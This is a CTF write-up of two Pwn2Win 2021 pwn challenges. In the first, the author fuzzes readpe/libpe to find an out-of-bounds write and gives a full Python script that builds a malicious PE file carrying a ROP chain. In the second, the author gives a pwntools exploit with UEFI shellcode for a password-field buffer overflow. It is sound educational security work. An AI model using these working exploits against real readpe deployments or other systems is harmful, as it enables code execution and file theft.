I played Pwn2Win CTF 2021 in uuunderflow and got the 2nd place. Unfortunately(?) we couldn't get the 1st place thanks to the flag hoarding but the CTF itself was a lot of fun!
I couldn't play it full time but worked on some pwn challenges and managed to solve "pe_analysis" and "Accessing the Truth". I'm going to write a detailed write-ups of them.
Description: While searching for more information hidden by the government, Laura intercepted communication between a member of the Development team and a member of the Operation team. In summary, meeting the demand of the Security team, a Web application was developed to provide a program used for the analysis of PE binaries. Laura found the files used on that Web application and was able to reproduce its environment using VMware as virtualizer. She suspects that the program may be vulnerable, but she doesn't master binary exploitation. Therefore, she needs your help exploiting it. Server: http://pe-analysis-1.pwn2win.party:1337
Challenge Overview
We're given a very large file, which contains the vulnerable executable, some DLLs, and the VM image. The server is running a flask-made application. We can upload a Windows executable and the server shows some information of the PE as the output.
Immediately after I started reversing the PE, I found the program readpe.exe
is actually an open-sourced software.
I checked the Issue and PR but couldn't find any (disclosed) vulnerability. So, I suspected this would be a 0-day challenge.
Finding the Vulnerability
In order to find the vulnerability, I decided to fuzz the binary rather than read the source code.
Fuzzing
The challenge is working on a Windows machine but the software works both on Windows and Linux.
I compiled the source code with afl-gcc
and tried fuzzing by AFL.
I used this executable as the initial corpus.
Running the fuzzer for few minutes drops dozens of unique crashes.
This is running on Linux but the target is Windows. Let's check what happens if I give the testcase to the target app.
It's obviously a vulnerability. Let's check the register values too.
I check some of the testcases but they seemed to be crashing at the same place. (Actually some of them were different but they didn't look explotable at the first glance.)
Exploitability
We want to know if this bug is really exploitable. There 3 points to check:
- Can we control where to write?
- Can we control what to write?
- How many times / on what condition can we ignite this vulnerability?
If we can control all of them, we get a stable AAW primitive.
Where to Write
The value of RDX seems coming from the binary. (72 74
in the figure below.)
Obviously only 16-bit are taken. So, the controllability of the destination address is partial. The exploitability depends on the value of the base address: RAX.
The base address points to somewhere on the stack.
The pointer is lower than the return address. It turned out we can overwrite the return address!
What to Write
The RCX (source register) is NULL in the testcase. So, it's skeptical if this bug is explotable. I'll explain about this later.
When to Ignite
The number of this oob-write is actually not only once. Setting a breakpoint here and running from the beginning shows you that this bug may be caused multiple times.
So, if we can control "what to write," we can possibly run a ROP chain.
This bug is caused by the following code:
for (uint32_t i=0; i < exp->NumberOfNames; i++) { uint64_t entry_ordinal_list_ptr = offset_to_AddressOfNameOrdinals + sizeof(uint16_t) * i; uint16_t *entry_ordinal_list = LIBPE_PTR_ADD(ctx->map_addr, entry_ordinal_list_ptr); if (!pe_can_read(ctx, entry_ordinal_list, sizeof(uint16_t))) { TODO break; } const uint16_t ordinal = *entry_ordinal_list; uint64_t entry_name_list_ptr = offset_to_AddressOfNames + sizeof(uint32_t) * i; uint32_t *entry_name_list = LIBPE_PTR_ADD(ctx->map_addr, entry_name_list_ptr); if (!pe_can_read(ctx, entry_name_list, sizeof(uint32_t))) { TODO break; } const uint32_t entry_name_rva = *entry_name_list; const uint64_t entry_name_ofs = pe_rva2ofs(ctx, entry_name_rva); offsets_to_Names[ordinal] = entry_name_ofs; }
This is a code from libpe.
The function pe_exports
is responsible for gathering the exported functions.
The oob-write happens here:
offsets_to_Names[ordinal] = entry_name_ofs;
Writing a Malicious PE File
Can We ROP?
What we need is control ordinal
and entry_name_ofs
in the following code.
offsets_to_Names[ordinal] = entry_name_ofs;
ordinal
is a16-bit value indicating the index to the exported function.
This value is fully controllable.
const uint16_t ordinal = *entry_ordinal_list;
entry_name_ofs
is defined here:
const uint32_t entry_name_rva = *entry_name_list; const uint64_t entry_name_ofs = pe_rva2ofs(ctx, entry_name_rva);
entry_name_ofs
is a 64-bit integer but RVA is a 32-bit value.
What we can fully control is the 32-bit value entry_name_rva
.
Can we control the return value of pe_rva2ofs
in this case?
Let's check how the conversion works.
uint64_t pe_rva2ofs(const pe_ctx_t *ctx, uint64_t rva) { ... for (uint32_t i=0; i < ctx->pe.num_sections; i++) { ... size_t section_size = ctx->pe.sections[i]->Misc.VirtualSize; if (section_size == 0) section_size = ctx->pe.sections[i]->SizeOfRawData; if (ctx->pe.sections[i]->VirtualAddress <= rva) { if ((ctx->pe.sections[i]->VirtualAddress + section_size) > rva) { rva -= ctx->pe.sections[i]->VirtualAddress; rva += ctx->pe.sections[i]->PointerToRawData; return rva; } } }
Given an RVA, it iterates over all the sections and finds one such that the RVA points to inside the section. The physical offset is calculated by the following formula:
Offset = RVA - VirtualAddress + PointerToRawData
As we can craft some fake sections, we can also control VirtualAddress
and PointerToRawData
.
However, the type of both VirtualAddress
and PointerToRawData
is uint32_t
.
It turned out we cannot fully control the return address of pe_rva2ofs
.
This might sound useless but actually not.
The readpe.exe
binary is mapped from 0x100400000, which can be expressed by the <32-bit> + <32-bit>
calculation.
To summerize, we have an Out-of-Bounds write in the following code, which can be executed as many times as desired.
offsets_to_Names[ordinal] = entry_name_ofs;
ordinal
(16-bit) is fully controllable and thus we can overwrite the return address of pe_exports
.
entry_name_ofs
is not fully controllable but we can make the address of the readpe.exe
, which is useful for ROP.
So, my idea is make ROP chain only with the gadgets in readpe.exe
.
Sections and Export Table
Anyways, let's make a PE file. We have to control the sections and the export table most importantly. I had zero knowledge on the PE file format and I did some research. The figure in this Japanese article was the most comprehensive and easy to understand.
The address of the export table is RVA. So, we need at least one section for converting the RVA to file offset. I put the export table at +400h in the file and also set its virtual address to 0x400 for simplicity.
pe += b'.AAAA\0\0\0' pe += p32(0xf000) pe += p32(0x400) pe += p32(0xf000) pe += p32(0x400) pe += p32(0) pe += p32(0) pe += p16(0) * 2 pe += p32(0)
We also want one more section for writing the ROP chain. Here is the formula again:
Offset = RVA - VirtualAddress + PointerToRawData
In order to make the result big, we want to make VirtualAddress
small and PointerToRawData
big.
I set the virtual address to 0x10000 and the size to 0xffff0000 respectively.
This covers the whole region of the lower 32-bit address of readpe.exe
.
For example, rva2ofs(0xdeadbeef + 0x20000) == 0x1deadbeef
.
pe += b'.BBBB\0\0\0' pe += p32(0xffff0000) pe += p32(0x10000) pe += p32(0x10000) pe += p32(0xffff0000) pe += p32(0) pe += p32(0) pe += p16(0) * 2 pe += p32(0)
We don't need to care about the size and the pointer to raw data because this is just for RVA conversion.
As I set the pointer to the export table to 0x400, I have to put the malicious export table there.
pe += b'\x00' * (0x400 - len(pe)) pe += p32(0) pe += p32(0) pe += p32(0) pe += p32(0x430) pe += p32(0) pe += p32(0x300 // 8) pe += p32(0x300 // 8) pe += p32(0x440) pe += p32(0x500) pe += p32(0x800) pe += p32(0x800)
The number of functions, the address of names, and the address of ordinals are important. I set the names to 0x500 and the ordinal to 0x800 as shown above. (Be noted that we have to use RVA for them too. I simply re-used section 1 for this purpose.)
Now if we put the following name list and orinal list, for example, readpe.exe
crashes.
# names pe += b'\x00' * (0x500 - len(pe)) pe += p32(0xdead77+ 0x20000) # ordinals pe += b'\x00' * (0x800 - len(pe)) pe += p16(0xcafe)
This would cause (invalid) OOB write.
rax=00000000ffffc520 rbx=00000000ffffcc40 rcx=0000000100dead77 rdx=000000000000cafe rsi=00000000ffffc510 rdi=0000000080808000 rip=00000004f6bb16d5 rsp=00000000ffffc500 rbp=00000000ffffc590 r8=0000000000000004 r9=00000008000623d0 r10=0000000100000000 r11=00000000ffffc520 r12=0000000000000001 r13=0000000000000000 r14=0000000000000001 r15=0000000000000000 iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 libpe!pe_exports+0x565: 00000004`f6bb16d5 48890cd0 mov qword ptr [rax+rdx*8],rcx ds:00000001`00061d10=????????????????
Crafting ROP Chain
So, the question is "can we really read the flag only with the ROP gadgets in readpe.exe?"
I love ROP and it was not so hard for me but it's pretty difficult to explain. From conclusion, I used the following ROP gadgets.
pop rcx; ret;
pop rbp; ret;
pop rax; pop rcx; ret;
mov rcx, rax; call r9; ret;
mov [rbp+0x10], rcx; mov rax, [rbp+0x10]; mov [0x10040d118], rax; pop rbp; ret;
mov [rbp+0x10], ecx; mov rax, [rbp+0x10]; mov [0x10040d118], rax; pop rbp; ret;
mov r8, rcx; mov rcx, rax; call r9;
mov rdx, rax; mov rcx, [rbp+0x3f0]; call r9;
mov edx, eax; mov rcx, [rbp+0x3f0]; call r9;
mov r9, [rbp+0x400]; mov r8, rdx; mov rdx, rax; mov rcx, [rbp+0x3f0]; call r9;
Quite few, isn't it?
Controlling the Arguments
Windows x64 calling convention uses RCX, RDX, R8, and R9 registers for the arguments. As I want to run the following code, for example, I need to control at least RCX, RDX and R8.
fp = fopen("secret\\flag.txt", "rb"); fgets(buf, 0x400, fp); printf(buf);
Controlling RCX is quite straightforward:
pop rcx; ret
We can change the value of RDX by the following gadgets. *1
mov rdx, rax; mov rcx, [rbp+0x3f0]; call r9; mov edx, eax; mov rcx, [rbp+0x3f0]; call r9;
In order to use them, we want to control RAX and R9. Controlling RAX is simple.
pop rax; pop rcx; ret;
I used the following gadget to control R9.
mov r9, [rbp+0x400]; mov r8, rdx; mov rdx, rax; mov rcx, [rbp+0x3f0]; call r9;
RBP points to the stack at the beginning and thus we just have to put pop X; ret;
gadget at RBP+0x400.
The final this is the control of R8. Fortunately there's a straightforward gadget for this:
mov r8, rcx; mov rcx, rax; call r9;
Now we aquired the ROP primitives to fully control RCX, RDX, and R8.
Prepareing the String
In order to open the flag, we have to prepare "secret\flag.txt" and "rb" (or "r") string. *2
There are some gadgets for making AAW. I chose the following gadgets because it can set the next RBP value. Eco-friendly :)
pop rbp; ret; mov [rbp+0x10], rcx; mov rax, [rbp+0x10]; mov [0x10040d118], rax; pop rbp; ret;
We can write "secret\flag.txt" to anywhere writable.
Restoring R9
After calling fopen
from IAT, I realized a problem.
It corrupts R9 and I couldn't use gadgets that ends with call r9
anymore.
To resolve this I first wrote the address of pop X; ret;
gadget by the AAW gadget.
Next to restore R9 I used the same gadget we used at the beginning.
mov r9, [rbp+0x400]; mov r8, rdx; mov rdx, rax; mov rcx, [rbp+0x3f0]; call r9;
Prettily Exit the Process
The server uses subprocess.run
for calling readpe.exe
.
def analyze(filename): output = run(['readpe', filename], stdout=PIPE).stdout.decode() if len(output) == 0: return 'Something went wrong! Are you sending a PE file?' return output
subprocess.run
returns an empty string whenever the process crashes even if it outputs something.
So, we have to call exit
in order to avoid the crash after our ROP is done.
Win
Putting all together, this is my final exploit:
def p16(v): return int.to_bytes(v, 2, 'little') def p32(v): return int.to_bytes(v, 4, 'little') def p64(v): return int.to_bytes(v, 8, 'little') def u32(v): return int.from_bytes(v, 'little') num_sections = 2 pe = b'' pe += b'MZ\0\0' pe += b'\0' * 0x38 pe += p32(0x40) pe += b'PE\0\0' pe += p16(0) pe += p16(num_sections) pe += p32(0) pe += p32(0) pe += p32(0) pe += p16(0xf0) pe += p16(0) pe += p16(0x010b) pe += p16(0) pe += p32(0) pe += p32(0) pe += p32(0) pe += p32(0xdead) pe += p32(0) pe += p32(0) pe += p32(0xcafe) pe += p32(0x10) pe += p32(0x10) pe += p16(0) * 6 pe += p32(0) pe += p32(0x1000) pe += p32(0) pe += p32(0) pe += p16(3) pe += p16(0) pe += p32(1) pe += p32(2) pe += p32(3) pe += p32(4) pe += p32(0) pe += p32(0x10) pe += p32(0x400) pe += p32(0x100) pe += p32(0) pe += p32(0) pe += p32(0) * 32 pe += b'.AAAA\0\0\0' pe += p32(0xf000) pe += p32(0x400) pe += p32(0xf000) pe += p32(0x400) pe += p32(0) pe += p32(0) pe += p16(0) * 2 pe += p32(0) pe += b'.BBBB\0\0\0' pe += p32(0xffff0000) pe += p32(0x10000) pe += p32(0x10000) pe += p32(0xffff0000) pe += p32(0) pe += p32(0) pe += p16(0) * 2 pe += p32(0) pe += b'\x00' * (0x400 - len(pe)) pe += p32(0) pe += p32(0) pe += p32(0) pe += p32(0x430) pe += p32(0) pe += p32(0x300 // 8) pe += p32(0x300 // 8) pe += p32(0x440) pe += p32(0x500) pe += p32(0x800) pe += p32(0x800) pe += b'\x00' * (0x430 - len(pe)) pe += b'legoshi.dll\0' iat_fopen = 0x100405930 iat_fgets = 0x100405920 iat_printf = 0x1004059e0 iat_exit = 0x100405900 addr_nop_caller = 0x100407800 - 0x20 addr_mode = 0x100407800 - 0x10 addr_path = 0x100407800 addr_flag = addr_path nop_for_call = 0x100405d31 rop_pop_rcx = 0x100405880 rop_pop_rbp = 0x1004010c5 rop_pop_rax_rcx = 0x10040587f rop_mov_rcx_rax_call_r9 = 0x100403b3f rop_mov_prbp10h_rcx_mov_rax_prbp10h_mov_p10040d118_rax_pop_rbp = 0x1004051e7 rop_mov_prbp10h_ecx_mov_rax_prbp10h_mov_p10040d118_rax_pop_rbp = 0x1004051e8 rop_mov_r8_rcx_mov_rcx_rax_call_r9 = 0x100403b3c rop_mov_rdx_rax_mov_rcx_prbp3F0h_call_r9 = 0x100403ae7 rop_mov_edx_eax_mov_rcx_prbp3F0h_call_r9 = 0x100403ae8 rop_mov_r9_prbp400h_mov_r8_rdx_mov_rdx_rax_mov_rcx_prbp3F0h_call_r9 = 0x100403add addr_r9 = 0x13e addr_ret = 0xad writes = { addr_ret+0x00: rop_mov_r9_prbp400h_mov_r8_rdx_mov_rdx_rax_mov_rcx_prbp3F0h_call_r9, addr_ret+0x02: u32(b'secr'), addr_ret+0x03: rop_pop_rbp, addr_ret+0x04: addr_path - 0x10, addr_ret+0x05: rop_mov_prbp10h_ecx_mov_rax_prbp10h_mov_p10040d118_rax_pop_rbp, addr_ret+0x06: addr_path - 0x10 + 4, addr_ret+0x07: rop_pop_rcx, addr_ret+0x08: u32(b'et\\f'), addr_ret+0x09: rop_mov_prbp10h_ecx_mov_rax_prbp10h_mov_p10040d118_rax_pop_rbp, addr_ret+0x0a: addr_path - 0x10 + 8, addr_ret+0x0b: rop_pop_rcx, addr_ret+0x0c: u32(b'lag.'), addr_ret+0x0d: rop_mov_prbp10h_ecx_mov_rax_prbp10h_mov_p10040d118_rax_pop_rbp, addr_ret+0x0e: addr_path - 0x10 + 12, addr_ret+0x0f: rop_pop_rcx, addr_ret+0x10: u32(b'txt\0'), addr_ret+0x11: rop_mov_prbp10h_ecx_mov_rax_prbp10h_mov_p10040d118_rax_pop_rbp, addr_ret+0x12: addr_mode - 0x10, addr_ret+0x13: rop_pop_rcx, addr_ret+0x14: u32(b'rb\0\0'), addr_ret+0x15: rop_mov_prbp10h_ecx_mov_rax_prbp10h_mov_p10040d118_rax_pop_rbp, addr_ret+0x16: addr_nop_caller - 0x10, addr_ret+0x17: rop_pop_rcx, addr_ret+0x18: nop_for_call, addr_ret+0x19: rop_mov_prbp10h_rcx_mov_rax_prbp10h_mov_p10040d118_rax_pop_rbp, addr_ret+0x1a: addr_mode, addr_ret+0x1b: rop_pop_rax_rcx, addr_ret+0x1c: addr_mode, addr_ret+0x1d: 0xdeadbeef, addr_ret+0x1e: rop_mov_rdx_rax_mov_rcx_prbp3F0h_call_r9, addr_ret+0x1f: rop_pop_rcx, addr_ret+0x20: addr_path, addr_ret+0x21: iat_fopen, addr_ret+0x22: rop_pop_rbp, addr_ret+0x23: addr_nop_caller - 0x400, addr_ret+0x24: rop_mov_r9_prbp400h_mov_r8_rdx_mov_rdx_rax_mov_rcx_prbp3F0h_call_r9, addr_ret+0x25: rop_mov_rcx_rax_call_r9, addr_ret+0x26: rop_mov_r8_rcx_mov_rcx_rax_call_r9, addr_ret+0x27: rop_pop_rax_rcx, addr_ret+0x28: 0x400, addr_ret+0x29: 0xdeadbeef, addr_ret+0x2a: rop_mov_edx_eax_mov_rcx_prbp3F0h_call_r9, addr_ret+0x2b: rop_pop_rcx, addr_ret+0x2c: addr_flag, addr_ret+0x2d: iat_fgets, addr_ret+0x2e: rop_pop_rcx, addr_ret+0x2f: addr_flag, addr_ret+0x30: 0x1004010bb, addr_ret+0x36: rop_pop_rcx, addr_ret+0x37: 0, addr_ret+0x38: iat_exit, addr_r9: nop_for_call, addr_ret+0x01: rop_pop_rcx, } pe += b'\x00' * (0x500 - len(pe)) for ofs in writes: if writes[ofs] > 0x100000000: pe += p32(writes[ofs] - 0x100000000 + 0x20000) else: pe += p32(writes[ofs] + 0x20000) pe += b'\x00' * (0x800 - len(pe)) for ofs in writes: pe += p16(ofs) with open("exploit.exe", "wb") as f: f.write(pe)
I got the first blood!
Description: Laura is trying to access the monitoring machine. Will she be able to do what is needed to see the truth? Server: nc accessing-the-truth.pwn2win.party 1337
Challenge Overview
We're given a Linux environment. It seems there's an UEFI things to be working on it.
Actually I've not checked this challenge before I was called by the member. Aventador extracted the UEFI files and epist found the vulnerable one.
Igniting the Vulnerability
This part is also done by the team members. Epist immediately found a buffer overflow in the password input form.
Writing the Bootloader Shellcode
So, now it's my part. They had already found the vulnerability, how to run the UEFI app, and how to trigger the vuln. I modified their exploit (RIP control) to run arbitrary (null-free) shellcode.
I didn't (don't) have any knowledge about UEFI but I only knew it can handle FAT file system. My idea was to write a bootloader-land shellcode to read the flag from the file sytstem by calling some UEFI functions.
Finding SystemTable
In order to call UEFI function, we need to traverse SystemTable
, which is of EFI_SYSTEM_TABLE
structure.
This variable is passed to UefiMain
as it's second argument.
EFI_STATUS EFIAPI UefiMain ( IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable )
Checking the entry point of the UEFI application, I noticed this variable is stored to a global variable.
Of course there's no ASLR on UEFI and it's easy to traverse this table!
For instance, the following shellcode gives BootService
, which is helpful for opening a disk.
// rbp = SystemTable->BootService mov rax, [SystemTable] mov rbp, [rax + 0x60]
The goal is implement the following code in the shellcode.
SystemTable->BootService->LocateProtocol( &gEfiSimpleFileSystemProtocolGuid, NULL, &foo); foo->OpenVolume(foo, &bar); bar->Open(bar, &file, "/path/to/flag", EFI_FILE_MODE_READ, EFI_FILE_READ_ONLY); file->Read(file, &size, buf); print(flag);
What we need is SystemTable
and gEfiSimpleFileSystemProtocolGuid
.
The first one is done but what's gEfiSimpleFileSystemProtocolGuid
?
Finding gEfiSimpleFileSystemProtocolGuid
gEfiSimpleFileSystemProtocolGuid
is a global variable declared in SympleFileSystem.h
in the EDK II.
At first I was stuck as I had no idea how to locate the address of this variable. However, this variable is actually just a GUID as the name suggests.
typedef struct { UINT32 Data1; UINT16 Data2; UINT16 Data3; UINT8 Data4[8]; } GUID; ... typedef GUID EFI_GUID;
The GUID is also defined in SimpleFileSystem.h
.
#define EFI_SIMPLE_FILE_SYSTEM_PROTOCOL_GUID \ { \ 0x964e5b22, 0x6459, 0x11d2, {0x8e, 0x39, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b } \ }
I did a search for this value on the memory and found that multiple UEFI applications uses it. I picked up one of them and successfully opened the volume.
Where is the Flag?
So, the things left are open, read the flag and print the contents.
However, we've been stuck for a while guessing the path of the flag.
The flag exists at /flag.txt
but is it accessible from UEFI?
We were a bit upset and did something teribbly wrong at first. The Linux filesystem is not FAT and obviously there's no reason we can access it from UEFI function (as far as I understand).
Then, what's in the volume?
I wrote a bootloader-level shellcode that works like ls
and found bzImage
there.
At the same time, epist also found it by guessing some filenames!
His idea was to read initramfs.cpio
and locate the flag.
I immediately wrote the shellcode to load initramfs.cpio
at the address 0x00000000 and locate the flag.
After locating the flag, we can simply print it by the function provided by the vulnerable UEFI app.
(Be noted the function interprets the input as UTF-16 string but the flag is just an ASCII string!)
Win
Here is the final exploit:
from pwn import * from subprocess import Popen, PIPE import tempfile import sys context.arch = "amd64" base = 0x0000000028A7000 addr_SystemTable = base + 0x1bb50 addr_SimpleFile = base + 0x110 addr_ProtocolGuid = 0x28c2760 addr_Root = base + 0x210 addr_File = base + 0x290 addr_Path = base + 0x310 addr_Buf = 0x3e01010 addr_print = base + 0x1ee6 shellcode = """ // rbp = SystemTable->BootService mov rax, [{pSystemTable}] mov rbp, [rax + 0x60] // LocateProtocol(...); mov r8d, {pSimpleFile} mov ecx, {pProtocolGuid} xor edx, edx xor eax, eax mov ax, 0x140 add rax, rbp call [rax] // SimpleFile->OpenVolume(SimpleFile, &Root) mov rbp, [r8] mov rax, [rbp+8] mov edx, {pRoot} mov rcx, rbp call rax // Root->Open(Root, &File, "path", EFI_FILE_MODE_READ ,EFI_FILE_READ_ONLY); mov r8d, {pRoot} mov rbp, [r8] xor r9d, r9d mov r10d, r9d inc r9d mov edx, {pFile} mov [rdx], r10 inc r10d mov rcx, rbp mov r8d, {pPath} // L"flag.txt" """ path = b'initramfs.cpio\0' utf16_path = b'' for c in path: utf16_path += bytes([c, 0]) for i in range(0, len(utf16_path), 8): b = utf16_path[i:i+8] b += b'\0' * (8 - len(b)) if i == 0: shellcode += """ mov rbx, {} not rbx mov [r8], rbx """.format(hex(0xffffffffffffffff ^ u64(b))) else: shellcode += """ mov rbx, {} not rbx mov [r8+{}], rbx """.format(hex(0xffffffffffffffff ^ u64(b)), i) shellcode += """ mov rax, [rbp+8] call rax // file->Read(file, &size, buf) mov r8d, {pFile} mov rbp, [r8] xor r8d, r8d xor edx, edx mov edx, 0x0101ffff mov [rsp], rdx mov rdx, rsp mov rcx, rbp mov rax, [rbp+0x20] call rax // find flag mov rbx, 0x2d465443 xor edi, edi lp: mov eax, [rdi] cmp rax, rbx jz found inc edi jmp lp found: mov rcx, rdi mov eax, {puts} call rax mov rcx, rdi inc rcx mov eax, {puts} call rax """ shellcode = asm(shellcode.format( pSystemTable = addr_SystemTable, pSimpleFile = addr_SimpleFile, pProtocolGuid = addr_ProtocolGuid, pRoot = addr_Root, pFile = addr_File, pPath = addr_Path, pBuf = addr_Buf, puts = addr_print )) print(shellcode) assert b'\x00' not in shellcode def enter_bootloader(): p.sendafter(b'2J', b'\x1b\x5b\x32\x34\x7e'*10) payload = b'\n' * (0x58 + 0x30) payload += p64(0xdeadbe00) payload += p64(0xdeadbe01) payload += p64(0xdeadbe02) payload += p64(0xdeadbe03) payload += p64(0x3ebc701) payload += b'\x90' payload += shellcode payload += b'\r' payload = payload.replace(b'\x00', b'\n') p.sendafter(b'Enter Password: \r\n', b'\r') p.sendafter(b'Enter Password: \r\n', b'\r') p.sendafter(b'Enter Password: \r\n', payload) fname = tempfile.NamedTemporaryFile().name os.system("cp OVMF.fd %s" % (fname)) os.system("chmod u+w %s" % (fname)) """ p = process(["qemu-system-x86_64", "-monitor", "/dev/null", "-m", "64M", "-drive", "if=pflash,format=raw,file=" + fname, "-drive", "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={}) """ p = remote("accessing-the-truth.pwn2win.party", 1337) command = p.recvline().strip() popen = Popen(command, shell=True, stdout=PIPE) output, error = popen.communicate() p.sendlineafter("Solution:", output) enter_bootloader() flag = b'CFB' p.recvuntil("CFB") flag += p.recvline() print(flag)